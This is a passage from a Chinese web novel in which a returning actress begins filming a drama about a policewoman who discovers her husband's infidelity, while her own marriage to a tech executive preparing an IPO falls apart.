整理好情绪,应真觉得有件事要趁这个时间跟她说,“书韵,这部戏你是导演,我是演员。希望开机后,你不要再把我当好朋友,当闺蜜。你怎么对李长风、芮宁、陈卓他们,就怎么对待我。如果你觉得我演得不对,你一定要跟我说。” 黄书韵被她这一本正经的严肃模样逗笑了:“你想什么呢?我现在脑门上就四个字,把戏拍好。不管是谁,没达到我的要求,我都会说的。” 应真点点头:“这就好。” 外面不知道谁喊了句“下雪了!”,黄书韵手里的对讲机传来副导演的催促,她拉着应真一起下楼。 2024年11月20日,宁市迎来今年的第一场雪。漫天飞雪中,《雪在烧》剧组开机仪式在云澜酒店举行。 工作人员简单地布置了一下舞台和背景板,香案上摆满了供品,地上铺了红毯,音响也准备就绪。 黄书韵拿着扩音器进行了简短的讲话,然后和余姐一起,带着主创人员轮番上香,祈求拍摄顺利。 一缕缕白烟在纷扬的雪花中燃起。应真将手里燃起的香插进香炉,在淡淡的檀香气息中,像以前拍戏一样,双手合什,闭上眼睛默默地祈导。 “对不起,应真。” 没能照顾好你的女儿。 “一切都会好的。” 应真对另一个时空的自己说道。 剧组的摄影师分别拍下全体演职人员、全体演员、四名主演的合照,又给四名主演拍了单人照,开机仪式便结束了。 《雪在烧》的官方微博号早就注册好,一直没有发布任何动态,在这漫天飞雪中,官方微博发布了第一条内容: #雪在烧开机仪式#@由余平婉监制,@黄书韵导演/编剧,陈长风@风哥没疯@应真@陈卓@芮宁主演的电影《雪在烧》今日开机。在雪火淬炼中,涅槃重生。一起期待“绿帽二人组”啼笑皆非的荒唐之旅。 #女性力量|期待冰雪燃尽后的生命曙光。 负责剧宣的工作人员发完后,又私发了几个主演让他们转发。应真也收到了工作人员的提醒,她登陆自己那个已经荒得快长草的微博号,发了这么多年来的第一条微博,配了四个字:一起期待。 * 宁颐然第二天早上起床,洗漱完,拎着书包出来,竟然看到叶阿姨在厨房里忙碌。 “叶阿姨,怎么是你啊?我妈呢?” 叶萍听到外面动静,从厨房里出来,“她去宁市拍戏了,这段时间我在家里照顾你。” 宁颐然不高兴了,连叶阿姨都知道妈妈去拍戏,妈妈竟然不告诉她。而且昨天晚上打电话发短信都不回! 她知道妈妈要去拍戏,但妈妈也没跟她说哪一天。难道妈妈昨天就出发去剧组了? 去剧组,也不至于不回她的信息和电话吧。 一想到接下来三个月,天天跟叶阿姨朝夕相对,宁颐然瞬间觉得这日子也没什么奔头。 还不如她一个人在家呢。害怕就害怕吧,起码自在。她真的很不习惯跟不相干的人共处一室。 虽然叶阿姨是看着她长大的。 叶萍平时每天过来也只不过干些打扫之类的粗活,很少做饭。她做饭手艺一般般,好在前些日子宁太太已经把先生和小姐喜欢吃的菜,列了菜谱给她,还给她示范了厨房电器怎么使用。 即便如此,这第一顿早餐她还是有些手忙脚乱。 忙活一通,把早餐端了上去。早餐主食是金枪鱼玉米三明治,叶萍把糊面的那面放底下,又将焯好水的蔬菜,洗净的水果摆好,把热好的牛奶端上来。 虽然没有平时太太做得好,瞅着还是挺丰盛的,比她儿子早餐花样可多得多。 谁知大小姐拿起三明治吃了一口,眉头皱了起来:“怎么糊了?” 叶萍有些不好意思:“第一次用那个三明治机,没掌握好火候。下次肯定不会糊了。” 宁颐然没再说什么,抬头看到叶阿姨站在那儿看自己吃饭,便道:“你帮我保温杯里加点水吧。热一点。” 叶萍一拍脑袋,自己怎么把这事给忘了,太太特意叮嘱过的。 等宁君昊起床,看到厨房里忙碌的人影,先是心头一跳,下一秒看到是叶阿姨,那双眸子便黯沉下来。 刚系好的领带勒得他烦躁,边扯边坐下来吃早饭。 叶萍赶紧递上做好的咖啡,宁君昊喝了一口便放下来了,“以后早餐给然然做就行了,不用给我做了。” 叶萍“哦”了一声,平时都是跟宁太太打交道,宁先生很少在家。大老板气场跟一般人不一样,她瞅着有点犯怵,支吾着问晚餐有没有什么想吃的。 宁君昊:“晚上我要加班。你做点然然喜欢吃的吧。” 宁颐然看叶阿姨看着自己,咕哝了句:“随便吧。” 反正味道不好,她点外卖吃呗。 叶萍最怕听到“随便吧”三个字,面色为难道:“那个,太太走之前给我打印了一些食谱,说都是先生和小姐爱吃的,那我就按那上面的做了……” 她还没说完,宁先生突然抬头看着她,语气很沉:“太太都跟你说什么了?” 叶萍被宁先生那锐利的眼神给吓倒了,支支吾吾地开口道:“没说什么,就是教了我厨房里那些电器怎么用,还教了我怎么用那个咖啡机,就是我老打不好那个牛奶。” 宁君昊叹了口气,语气很淡:“你去忙吧。” 父女俩吃完早餐出门,小李已经等在那儿了。 宁颐然坐在后排:“爸,你倒底又怎么惹妈妈不高兴了?以前你和妈妈吵架,妈妈都忍着不让我发现。现在她也不顾忌我了,明明是跟你吵架,她连我的信息电话都不回。妈妈不会真的想跟你离婚吧……” 说实话,再傻也看出父母之间不对劲。她印象中,妈妈性格温柔得很,对爸爸百依百顺,体贴入微。这回连爸爸微信都拉黑了,这肯定不是一般的吵架。 宁君昊昨天没醒好,太阳穴像是插入一枚钢针,本就心情不好,听女儿说出“离婚”两个字,当即面色一沉,警告道:“宁颐然,你是不是应该先反思一下你妈妈为什么不回你的信息,不接你的电话?我和你妈妈之间的事,还用不着你来评论。” 老板的语气比外面的天气还冷,小李正在开车,听到这大气都不敢喘,只飞快地从后视镜里看了大小姐一眼。 果然,大小姐拉着小脸坐在后座不吱声了。到了学校,气呼呼地甩上车门就走了。 平时太太在车上,小李还能聊几句。送老板和大小姐,他可是一句话都不敢多说。 …… 宁君昊回到公司,在办公室看了会报表,周添就推门进来了。 “你那个信托方案后来怎么样了?一大早梁文栋就来催我,让我来问问你。” 周添从上大学就跟宁君昊一起创业,两人又是师兄弟,互相之间相处要随意得多。看宁君昊坐在电脑屏幕后面一动一动,便迈着腿走上前,凑近道:“25号是提交信托方案的最后截止日期,算一算也就四五天时间了,也难怪他们那边的人着急。” 宁君昊的目光终于从电脑上挪开,看了眼撑在自己办公桌上的手,然而抬起头。 室内二十四度,周添差点被他那双寒冰一样的眼给冻住了,半晌反应过来,赶紧退后几步,一脸尴尬地挠头:“哎呀。师兄,我错了我错了。我就是来提醒你一下。我走了。” 他跟宁君昊之间一向随便惯了,做游戏的,互相用对方电脑玩个游戏很正常的。自打那回他用宁君昊电脑测试游戏,然后顺便帮他聊了几句微信,宁君昊就不让别人碰他办公桌了。 宁总注重隐私,连公司保洁阿姨都知道。 其实,宁君昊一早就看到梁文栋的信息,只不过他懒得回。想必看他没回,梁文栋又去找周添了。 他拿起手机拨了电话过去:“文栋,信托方案25号肯定会准时提交给你,但你要答应我一个条件。” 第45章 第45章如果是四十岁的应真,肯…… 跟投行那边打了半个小时的电话,对方勉强同意了宁君昊给的修改方案。 挂了电话,宁君昊又发了几条语音给李墨,让他重新修改协议内容。 很快李墨便将打印好的协议送了过来,“宁总,您看看还有没有问题?没有问题的话,我等会先去跟景律师确认一遍,再找宁太太签字。” 宁君昊摘下眼镜,按了按眉心,语气有些沉:“你把协议放下吧。剩下的事,你不用管了。” 李墨怔了怔,说了个“是”,便离开了。 宁君昊将李墨修改后的协议看了一遍,又按内线电话把秘书叫进来,让他把自己明天的会议取消掉。 手头的工作安排妥当,宁君昊的脸色仍未见好转。 结婚十几年,应真已经很少跟他闹了。像这样一言不合,就把他拉黑,又让他回到谈恋爱的时候。 那会年轻,荷尔蒙激素作用下,他也会为心爱的女人干点出格的事。 应真闹情绪跟他冷战,一拍戏就联系不上,他丢下手头事,飞到剧组哄她,陪她把戏拍完。 现在一把年纪了,还要干这种事,哄老婆只是一方面,最主要的还是想早点把信托的事给了结了。 作为公司老板,宁君昊不希望因为自己和老婆之间的事,影响整个上市进度。 一想到这,他不由叹了口气,如果是四十岁的应真,肯定不会在这种事情上跟自己闹。 宁君昊脑中闪过很多老夫老妻的默契细节,等他回过味来,忍不住苦笑。 此刻,他意识到自己的贪心。既享受着年轻的应真对他的依恋,又忍不住怀念结婚多年后应真的温柔体贴。 …… 桌上的手机不停弹出群聊消息。宁君昊目光微凝,他记得自己屏蔽了所有群的消息提醒。 拿起来看了一眼,沉寂好久的【第42次版本迭代】群弹出了很多消息。 这个群只有十几个人,全是游戏圈有头有脸的人物,宁君昊和周添都在里头。 平时大家都忙,基本不在群里说话。今天这么热闹,是因为为了戒网,跑去南极待了快半年的群主终于出现了。 【一叶知秋:今年比赛定在南极怎么样?】 【一叶知秋:你们要是愿意过来,费用我全包。】 一叶知秋,大名沈烨秋,比宁君昊大十岁,是他们这个圈子教父级的人物。 二十多年前,就用开源代码养活当时70%的3A游戏公司。宁君昊很尊重他,毕竟奇技当年就是靠他的免费技术文档起家的。 果然大佬一发话,群里立刻炸了:比赛没问题,南极会不会太远了? 周添:[笑哭]南极那边现在网络行了? 一叶知秋:还是跟屎一样。网不好,正好专心写代码。今年比赛题目我想好了:72小时虚实共生挑战赛。时间定在下个月月底,怎么样? 说是比赛,其实是小圈子的自娱自乐,主要目的是找个时间大家一起聚聚。 群里其他人都说没问题。沈烨秋看宁君昊一直没说话,便在群里@他:“你小子去不去,吱一声。” 虽然年纪一把,沈烨秋玩心还重得很。打游戏可以几天几夜不睡觉,年纪大了身体吃不消,被女儿发配到南极断网。 他组织的活动,宁君昊往年也参加过几回。去年在公海上钓鱼,一群人闲得蛋疼,拿出电脑开始写代码,结果比了个昏天黑地。 宁君昊玩了三天,回家后,应真跟他大吵了一架。 看到沈烨秋@自己,他回:今年我就不去了。你们玩吧。 沈烨秋那头没了消息,隔了十分钟回了句:你人不来也行。所有人费用你来买单。 宁君昊爽快答应:行。 退出群聊,宁君昊看到黄书韵在朋友圈发的《雪在烧》开机仪式的照片。九张图片里,有三张上面有应真。 他一张张翻过去,最终停在那张她举着点燃的香,双眼微阖的单人照上。 她没有化妆,眼睛有些浮肿,神色平静专注,又有种说不出的距离感。 宁君昊深吸一口气,退出之前,点击保存。 * 宁市初雪来得快,去得快。第二天,便放晴了,只路牙子和绿化带还覆盖着少量的雪。 四线城市老城区的商业街,一楼是门面,二楼以上是居民楼,沿街挤挤挨挨的各种店铺,餐馆、洗衣店、彩票店、理发店、足浴店,一应俱全。 踏浪足浴馆是本地颇具规模的足浴馆,正好在这条商业街上。黄书韵以一天三百的友情价租下场地,一大早剧组的工作人员就过来布置场景,灯光组、摄像组根据环境测试设备。 剧组的车子停在门口,过往的路人和附近的居民都伸长脖子好奇地打量着。商业街从来不缺热闹,但是剧组到他们这来拍戏,还是头一回遇到。 《雪在烧》工作人员都知道今天是场重头戏,虽然面上大家都各司其职,严阵以待,看不出什么异常,各个小群的消息早已经满天飞了。 这些消息的焦点一半在黄书韵身上,一半在应真身上。一个从没有执导过任何电影的女导演,一个息影多年的富太太担纲女主演,这组合瞅着多少有点不靠谱。 【这戏的投资是应真拉过来的吧,不然黄导干嘛找她演?】 【看你这话说的,说不定是富婆一掷千金为好闺蜜圆梦。】 【我有种不祥的预感,今年过年说不定要在宁市过了,一个月肯定拍不完。】 【呸呸呸!我可不想在这过年啊。黄导虽然是第一次当导演,咱们这戏里服化道摄音几个团队可是专业的。只要那几个头头把好关,最后应该也偏不到哪去。】 【你这就不懂了吧?拍电影,最怕外行指导内行。】 【我只担心今晚搞不好要通宵。那位都十几年没演过戏了,一上来就安排这种重头戏。】 【黄导不是说了吗?咱们剧组工作时间早10晚7,拍夜戏肯定也不超过12点。】 【笑死。这话听听就好了。你真信啊?我赌一百,今晚肯定要到后半夜。】 应真妆造已经做好了,她今天几乎没有化妆,造型师嫌她肤色太白,给她上了一层比她肤色深两个色号的粉底。 为了让她贴近元珊形象,还把她一头长发剪成了短发。剪的时候,造型师一个劲地安慰她,“我尽量不给您剪太短。等拍完宣传路演的时候,您头发肯定能长起来。” 应真冲她笑了笑:“没事。你不用考虑我。只要贴合元珊形象就成。演员的头发本来就不属于自己。” 她这么说,造型师反而有些不好意思,捏着剪刀的手不由加快了速度。很快,头发便剪好了,应真以前拍古装戏居多,很少剪短发,有种很新鲜的感觉。 今天的场景是外勤任务,她身上穿着带夹棉层的冬季警服,头戴警帽,脚上穿着黑色皮靴。将靴子带子系好,应真起身看着镜子里的自己,抬手扒拉了几下头发。 这一刻,她已经是元珊了。 应真转过头冲造型师淡淡一笑:“以后记得叫我元老师。” 齐耳短发反倒让她五官更加突出了,她眼里的淡淡笑意,让造型师心情也放松下来,“好的!元老师!” 应真做好造型,足浴店二楼包间里的灯光和机位已经布置差不多。陈卓造型也做好了,戴着金边眼镜,手腕上戴着大金表,头发被梳得油光水滑,乍一看斯文,细一看早在生意场上被酒色财气腌渍入味了。 第一场戏的重头对手戏落在元珊和丈夫许鹏池身上,而戏眼则在元珊身上。 黄书韵站在监视器后面,给应真和陈卓讲戏,“警察推门进来,许鹏池应该是躺在床上的,小姐坐在他身上。破门而入那一刻,会用手持摄像机拍一组元珊的主观镜头。在这组镜头里,许鹏池的状态应该是很享受的。我拍这个场景,除了丈夫嫖-娼,被当警察的妻子发现,对双方造成的心理冲击和社会性死亡那种传统叙事,我更关心对夫妻双方,尤其是对元珊的性心理冲击。在那个瞬间,有些很幽微的东西,是只有元珊和许鹏池之间才能意会到的。” 陈卓看剧本的时候,没有从这个角度去想,有些听入迷了,看黄书韵的目光不由流出一丝欣赏。 女导演就是细腻。 应真当然懂黄书韵的意思。因为在这一场戏的前夜,许鹏池刚拉着元珊寻欢。元珊因为跟儿子的冲突,身心俱疲,被动麻木地躺在床上任由丈夫动作。 许鹏池被妻子搞得兴味索然,草草了事,临了还说了句话:“不搞了。一个月来不了几回,回回都一个姿势,没意思。” 说完他便翻身睡觉,元珊本来快睡着了,被丈夫这么一弄睡意全无,睁着眼睛到后半夜才睡着。 她做梦也没想到隔天竟然在足浴店抓到丈夫嫖-娼,丈夫一脸享受地被别的女人骑在身上,那个画面给了元珊极大的刺激。 人到中年,元珊对自己的身材容貌和性魅力,本就极度没有自信。 为了呼应这场戏,后来元珊陪江游抓奸路上,在服务站的休息区又遇到跟前夫发生关系的那位小姐。 小姐站在屋檐下抽烟,看元珊也在等人,便主动问她要不要来一根。两个身份年纪截然不同的女性,就这么沉默着站在一起抽了根烟。 临了,元珊问她:“其实,我一直想知道,除了年轻,有什么东西是你们有的,而我没有的?” 女孩上下打量着元珊,目光落在她饱满的胸部上,露齿一笑:“姐,你不要在自己身上找原因了。身材长相,你什么都不缺。是那些来找我们的男的的问题,他们身上缺东西。” 简短的对话,两人最终相视一笑。和男性导演相比,黄书韵多了一层女性视角,她希望应真和陈卓能把这一层心理表达出来。 戏讲完了,黄书韵给了他们俩几分钟的准备时间。扮演小姐的是北市一家演艺公司推荐过来的年轻演员。第一次演这种戏,年轻女孩既紧张又兴奋,她要穿内衣跟一个自己喜欢的男演员演激情戏。 天!这可是陈卓啊!他演的所有电视剧,她几乎都看过! 一切都已经准备就绪,为了减少对演员的干扰,黄书韵让工作人员开始清场,现场只留演员、摄像和收音。 …… 应真下楼,坐在警车里。 前一天,元珊好不容易休息一天,陪儿子去博物馆,中途儿子说渴了,她去给儿子买水,让儿子在原地等她。 等她买好水回来,儿子不见了。电话手表打不通,实时定位也查不到。元珊绕着博物馆找了好几圈,又问了工作人员,都没看见儿子。最后是调监控才知道,儿子一个人提前走了。 她心急如焚地坐车回家。果然,儿子正在家看电视。元珊问儿子,怎么不等她一起回家。儿子眼睛没有从电视上挪开分毫,一副无事发生的模样:“我没找到你,就先回家了。” 元珊被儿子气得发抖。儿子进入叛逆期,母子关系本就紧张,她不想恶化下去,忍着没发作,像往常一样把晚饭做好端上桌。 深夜许鹏池回来,元珊把这事跟丈夫说了,他只轻飘飘地敷衍了句:人没事就行。然后便将元珊推倒,想要行使丈夫的权利。 在床上,夫妻俩发生了前面的对话。 第二天一大早,许鹏池还在睡觉,元珊起床给儿子做早餐,送去学校,然后去警局上班。忙了一上午,吃完午饭跟同事聊了会天,就接到群众举报,附近足浴店有人从事色情服务。 …… 拍摄从足浴店门口开始。一辆警车稳稳停在门口,一众警员迅速下车,按照事先部署的计划,将足疗店围得水泄不通。 元珊屏住呼吸,跟随着同事们快步走进店内。 前台服务员看到突然闯入的警察,脸色瞬间变得煞白,带队的队长亮明身份,要求服务员配合调查,并示意元珊和其他手下分散开,前往各个房间检查。 元珊和一男一女两个年轻同事一组,径直到二楼,直奔走廊尽头的一间房。推开门的刹那,屋内弥漫的暧昧气息扑面而来。 手持摄像机跟上,对着屋里的人。昏暗的灯光下,一张大床上,年轻女人正骑在男人身上,扭动腰肢。两个人影听到动静,慌乱地拉扯着被子遮挡身体。 “不许动!警察!”年轻同事的声音在屋内响起,同时他迅速拿出手铐,走向那对男女。 元珊的目光定在床上那个男人身上,她不敢相信自己的眼睛,几个呼吸的功夫,她脸上表情出现好几个层次的变化,起初是震惊,很快脸色变得苍白,紧接是愤怒,浑身血直往头上冲,激得她脸颊和眼眶发红。 那熟悉的轮廓,不是自己的丈夫又是谁? 元珊僵在原地,双眼死死地盯着眼前的场景。 许鹏池满脸惊恐与愧疚,躲避着她的目光。一旁年轻女人用被子紧紧裹住身体,眼神中满是惊恐与慌乱。 “元珊,不是你看到的那样……” 许鹏池拿起枕头遮住自己的下半身。元珊听到这句话,积攒的愤怒与痛苦瞬间爆发,她猛地冲上前,全然不顾自己身处任务现场,狠狠抽了许鹏池几个耳光。 元珊疯了似的对着丈夫又捶又打,一旁两个年轻同事这才反应过来这个男人是谁,赶紧上前扯开元珊,“元姐,有什么事回局里再说!” 屋里一片混乱,元珊佩戴的执法记录仪和对讲机被甩落,重重摔在地上。 躺在地上的对讲机里,不断传出队友汇报情况的声音。 “咔!” 监视器后,黄书韵连呼吸都忘了,这一刻果断喊停。 屋内停顿了几秒钟,所有人都忍不住鼓起掌来。应真却一言不发地扭头跑出房间。 第46章 第46章“我们离婚吧。” 黄书韵从包房里出来,看到应真面对墙壁站在走廊尽头,走过去拍了拍她的肩,“没事吧?” 应真摇摇头:“我没事。刚才太入戏了,有点心疼元珊。” 何止是元珊,黄书韵喊“咔”那一刻,她脑中闪过很多人的脸。 那年拍完《孤影江湖》,应真回了一趟白泉。吃饭的时候,母亲李茹芳难得说了句:“在外头拍戏,辛苦了。” 应真当时几乎不假思索地回道:“没有你辛苦。你像我这个年纪的时候,已经是三个孩子的妈了。二十多岁的年纪,每天一睁眼就有三个孩子要照顾,想想就可怕。不像我,只需要照顾好自己就行。” 一向性情冷淡的李茹芳当场红了眼眶。也正是因为体恤她的不易,应真作为长女,替她分担了很多照顾妹妹弟弟的工作。 除了母亲,应真还想到林莉,想到四十岁的自己。 中年女人的日子,看上去风平浪静,谁也不知道她们真正在经历着什么。 …… 黄书韵哪能看不出来她在压抑自己的情绪。别说工作人员了,刚才那场戏,应真的爆发力把她都给吓倒了。 应真身上现在既有二十五岁充沛的生命能量,又有四十岁女人丰富的生命体验,这让她的感知力和表现力比年轻时候高出一大截。 黄书韵陪着站了会,应真很快调整好自己的情绪,跟她一起回房间,屋里气氛明显松快下来了,工作人员和演员有说有笑,不像开拍前那么紧绷。 摄像和收音都是一脸喜色,第一场戏这么顺利,这是好兆头啊,起码今天不会太晚。 黄书韵坐在监视器前,和应真、陈卓一起回看刚才那场戏。 陈卓由衷道:“应老师,你这根本不像十几年没演过戏啊。不仅一点生疏感没有,反而更收放自如了,情绪的爆发力太强了。” 应真笑笑没说话。在她这,她才刚杀青了一部电影,根本没有息影这回事。所以,她对自己的标准自然跟别人不一样, 在批评自己这方面,应真绝对是专家级的。用放大镜看了一遍自己的戏份,这一次她的确没挑出明显的问题,情绪的层次都表达出来了,也非常精准。 看第一遍的时候,应真的注意力全在自己的戏份上。看第二遍才能分出心思看别的演员的表演,看到许鹏池用枕头挡住自己下半身那,她和黄书韵都忍不住笑出来了。 应真:“陈卓身材太好了,有点美化许鹏池了。” 黄书韵表示同意,当场勒令陈卓不能再瘦了,“刚才许鹏池那个狼狈的感觉,还是抓得挺好的。不过,你最好再给我胖五斤。” 陈卓哭笑不得,只得答应下来。他很少跟女导演合作,这次接许鹏池这个角色,经纪公司很反对,担心他演了这个负面角色,以后就演不了中偶电视剧了。 陈卓自己倒觉得许鹏池这个角色还是有发挥空间的。当然,这里头很重要的原因是,他已经四十多岁,让他成天演那些霸道总裁、精英男人,真的有点腻了。 好不容易有电影剧本来找他,即便是反派,他也很想尝试。《雪在烧》里的许鹏池是个渣得自成体系的男人,用现在的话来说,他很自洽。 陈卓没演过渣男,想尝尝演渣男的滋味。 元珊和许鹏池的对手戏拍完,开始拍许鹏池和小姐的戏份,还要补拍一些元珊和同事们的镜头。 等所有戏都拍完了,时间刚好十二点。黄书韵拿着扩音器站在大厅中央:“大家辛苦了!场务的同学辛苦再清点搬运一下设备。” 足浴店里,工作人员加演员几十号人,闹哄哄的。听到导演喊话,大家渐渐安静下来。 “明天开始拍公路戏份,大家回酒店抓紧时间休息。” 宁市这天气,后面下雪肯定是常态。为了不让天气影响拍摄,黄书韵决定后半部的公路戏份先拍掉。 一晚上的夜戏,应真的情绪消耗得比外头空荡荡的马路还干净,整个人却陷入一种奇异的亢奋状态。 回到酒店,洗漱完,又看了会剧本,才有了睡意。 第二天,应真一大早接到妹妹应巧的电话。 白泉那边的家人,她只跟应巧有联系。但她看过了自己跟妹妹之间的聊天记录,姐妹俩之间似乎也有龃龉不快。 所以这些日子应真并未主动联系妹妹,她不知道说什么。妹妹比她结婚还要早,大学一毕业就嫁给了中学隔壁班的男同学。 妹夫家在白泉当地薄有资产,靠收租就能养活一家子。应巧结婚后生了两个儿子,这么多年几乎没上过班。 和应真年纪轻轻就在外头打拼不同,除了上大学应巧就没在外面待过。结婚后,婆家娘家都在一个地方,应巧的日子还算舒坦。 应真接了起来,还未来得及开口,那头却传来她妈李茹芳的声音,“我听你婆婆说你复出拍电影了?” 李茹芳一早广场舞跳得好好的,突然接到大女儿婆婆的电话,这下广场舞也没心思跳了,拉着丈夫直奔小女儿家。 应真胀满的胸口像是被扎破口子的气球,刚提起来的那口气顿时泄了大半,语气很淡地“唔”了一声。 女儿这冷淡的口气,让李茹芳血压直往上飙。 自打老大跟他们闹翻,手机号都拉黑了,李茹芳心思也冷了。左右她还有一儿一女在身边,老大指望不上就指望不上吧。 这么多年,给儿子还赌债,贴进去不少,她跟老应兜里还有几十万的存款。再加上,大女儿给他们都买了社保,两口子每个月退休金加一起也有上万了。 李茹芳本身要求就不高,这么多钱够她和老应养老。况且,她也不是姐姐李茹华那种想不开的性子,每天跳跳广场舞,不开心么? 但是女儿婆婆一番话,让她坐不住了,这会压着脾气,耐着性子道:“真真,你今天也四十了。年轻的时候,演戏都没演出什么名堂。现在一把年纪了,你还指望在演戏上取得什么成就吗?放着女儿和老公不管,跑到外地去拍戏,一去就几个月,你放心?君昊现在公司忙着上市,你要在后方照顾好家庭啊。他管着那么大的公司,外头诱惑又那么多,你这么多年也没给他生个儿子……” 又是儿子。她自己拼了两个女儿,好不容易得了个儿子,现在跑来劝自己! 应真听不下去了,打断道:“我以为你打电话过来,是想关心我,看来是我想多了。我的事,你就别管了,有空多管管你的宝贝儿子吧。” 说完,就把电话给挂了。李茹芳气得脸色铁青,没想到自己一番好意,被女儿这么给怼回来了,气得胸口难受,对小女儿道:“你姐早晚要吃亏在这个性子上。” 应巧也没想到姐姐一点面子都不给,当即有些后悔,怪起妈妈来,“我说了你不要打这个电话,你非要打,这下自讨没趣了吧?我姐的性子你又不是不知道!” 应贤民在一旁拍桌子,沉着脸:“自讨没趣也要打!我们当父母的,该说的必须得说,没的最后怪到我们头上来。” 应巧不理他们,拿起手机开始给姐姐发微信:“姐,刚才是妈硬要抢我手机,给你打电话。我让她不要打,她非要打。你甭理她。” 信息发出去后,姐姐一直没回复。 应巧拉长脸坐在沙发上:“妈,都怪你!这下我姐肯定生我气了!我还想寒假带两个孩子去环球影城玩呢!” 李茹芳没好气:“玩玩玩!一天到晚就知道玩!你姐在外地拍戏,过年在不在北市都不知道!” 应巧不服气:“我姐不在,不还有我姐夫么?到时候,我找我姐夫安排去。” 话是这么说,应巧轻易不会找姐夫。姐夫那个气场,别说她了,她爸妈都怵得慌。 虽然被女儿拉黑了,女婿的联系方式还是有的。李茹芳琢磨着还是给女婿发条信息,表明一下她和丈夫的态度。这事情上,他们两口子绝对是跟女婿站一头的。 宁君昊收到丈母娘的小作文的时候,正在去宁市的路上。他扫了一眼,老两口洋洋洒洒一长串,说他们并不支持应真复出拍戏,正想办法劝她,但她听不进去。闺女不懂事,让他体谅云云。 一看这内容,宁君昊就猜到肯定又是他母亲打电话给丈母娘了。这些年,应真没少因为父母的偏心而难过,搞得他对老丈人和丈母娘也有些心冷。 他和应真夫妻这么多年,已经有了默契,在应对双方父母时,必须保持立场一致。所以即便打心底里,宁君昊其实并不想老婆出去拍戏,但面对丈母娘,他还是下意识地选择跟她站在一头。 他拿起手机回了条:妈,这次真真出去拍电影,是我们商量好的。 发完,宁君昊又给自己母亲何方珍打了个电话,语气就没那么好了:“我说了多少遍了,我们夫妻之间的事,你别管!你要是再管,以后别找我要钱了!” 小李正在专注开车,冷不丁被宁总冷厉的语气吓得一哆嗦。给宁总当司机这么长时间,他已经能从老板的语气中听出他在给谁打电话了。 宁君昊挂完手机,车子已经快下高速了,前面很醒目的“宁市欢迎您”的路牌。 看到上面滑雪胜地的字样,宁君昊想起来几年前他们一家三口来这里滑过雪。那次应真不太舒服,在酒店房间休息。他一个人带女儿去滑雪,出了点小事故。 女儿冲下跳台时,速度太快,安全帽系得有点松,导致落地时歪向一侧,额头和脸着地,满脸是血,鼻孔也在流血。 女儿自己没怎么样,把应真给吓坏了。幸好去医院检查,没有脑损伤和脑震荡,只是面部有些擦伤。 那天晚上,应真哭得捶打他,怪他没有给女儿系好安全帽,说要是女儿因此毁容了,她不会放过他。 宁君昊被她闹得有些烦躁,说了句:“女儿和你不一样,她这辈子乃至下辈子,都用不着靠脸吃饭。” 应真气得背过身去擦眼泪:“你们都不用靠脸吃饭,这个家靠脸吃饭的只有我。” 其实,他说完那句话就有点后悔。他的本意是女儿以后肯定不会从事演员的行当,但话一出口意思好像变味了。 那一次,应真是真的生他气了,他搂着她说了很多软话都没用。回北市后,也不搭理他,然后找了各种袪疤的药膏凝胶往女儿脸上涂。 现在想想,幸好没留疤,不然以应真的脾气,真的有可能恨他一辈子。 打那以后,他们一家三口没再滑过雪。这一次重来故地,倒勾起了宁君昊很多回忆,脸上的表情也不由软化下来。 应真……好像结婚后,越来越情绪化了。直到最近几年,才好些。 …… 来之前,宁君昊联系了余平婉,知道应真今天的戏份在下午,上午在酒店。下了高速,他让小李直奔云澜酒店。 车子开到市区,经过一家花店,宁君昊突然想到什么,让小李把车停在路边。 花店老板娘正忙着整理鲜花,听到门口响动,抬头一看,一个身形高大,衣着不凡的男人进来了。 老板娘忙迎了上来:“先生,您要什么花?” 宁君昊四下看了看,“你们这最贵的玫瑰花,给我来99朵。” 对于送老婆鲜花这种事,宁君昊向来嗤之以鼻。在他看来,鲜花就是一种很廉价的示好。跟应真在一起这么多年,他送过她各种礼物,唯独很少送鲜花。 不过,刚才看到花店的招牌,他突然想到应真在内蒙拍的那张捧着玫瑰的照片。那么廉价的玫瑰,她搂着都能笑得那么开心。 就,很不舒服。 他本来想说999朵,但转念一想,以应真的脾气,收到肯定会翻他白眼,于是改成99朵。 老板娘一听这口气,一看他这气场,眼睛都亮了,赶紧指着一旁刚送来的玫瑰花:“我们店里现在最贵的只有弗洛依德。但数量比较少,不够99朵,您要是不着急的话,我去别的店里帮您调点货,等会就能给您送货上门。” 宁君昊看了一眼她指的玫瑰花,很浓郁酒红色,花朵饱满,丝绒质感,有一种低调华丽的感觉,看着还不错。 他确实也没时间在店里等待,便留下应真酒店的地址和联系方式,付钱离开了。 老板娘看着手机上入帐的金额数字,感觉有些晕乎乎的——这样爽快的客人每天能多来几个就好了。 …… 云澜酒店,跟应真上回在锡市住的酒店档次差不多,普普通通的商务酒店。 《雪在烧》剧组把这里给包租下来了,进出都要查看名牌。前台看宁君昊没有名牌,便追上来想拦他。 宁君昊不理她,扔下一句“我是应真的丈夫”,便进了电梯,电梯里头一个身形高大的年轻男人正好出来。 那人看上去三十来岁,剑眉星目,长相不俗。 两人目光撞上了,对方好奇地看了他一眼。上楼后,宁君昊才想起来,刚才那男人在黄书韵的朋友圈见过,好像是应真拍的电影的男主角。 应真正在房间里看剧本,听到有人敲门,打开门,看到站在自己面前的男人。 她并不意外,对宁君昊来说,现在最让他着急的就是奇技上市的事。他着急让她把协议给签了。 两天了,她的情绪也整理得差不多了,早晚都要面对的。 宁君昊一眼就看到她剪短的头发。这么多年,还是第一次看她剪短发。短发的她不难看,但有种说不出的陌生和距离感。 他明知故问:“你剪头发了?” 应真没说话。 屋里的暖气闷得宁君昊难受,他一边脱外套,一边道:“为什么拉黑我?我承认那个协议我有私心……” 又来。应真累了。她能想象四十岁的自己应该一次一次面对类似的场景。 一种说不出的疲惫感。她不想在拍戏以外的任何事情上再消耗自己的情绪。 她坐在那儿,抬眸看着宁君昊:“我们离婚吧。” 第47章 第47章“原来女儿也知道。”…… 宁君昊一进门,人都没坐下,应真竟然说出“离婚”两个字,多少有些恼火。 他自问她出车祸以来,他对她是结婚这么多年很久未曾有的耐心和纵容,但这不意味着他会一再放任她影响自己。 他已经四十四岁了,他对婚姻生活的最大期待是平静稳定,无需消耗他本就不多的情绪。可是年轻的妻子回来后,他的情绪反反复复因为她而波动起伏,这跟他对婚姻的期待完全背道而驰。 宁君昊挂好衣服,转身看着她:“你知道现在这个关口,我不可能跟你离婚。这两个字,你以后不要再提了。你要是对信托协议不满意,就说出你觉得满意的条款。为这种商业协议影响我们夫妻之间的感情,不值得。” 冷漠、理性、不容置喙。他用这个语气跟她说话,仿佛她是他的商业合作伙伴。 短短一瞬,他又成了那个掌管大型游戏公司的总裁。 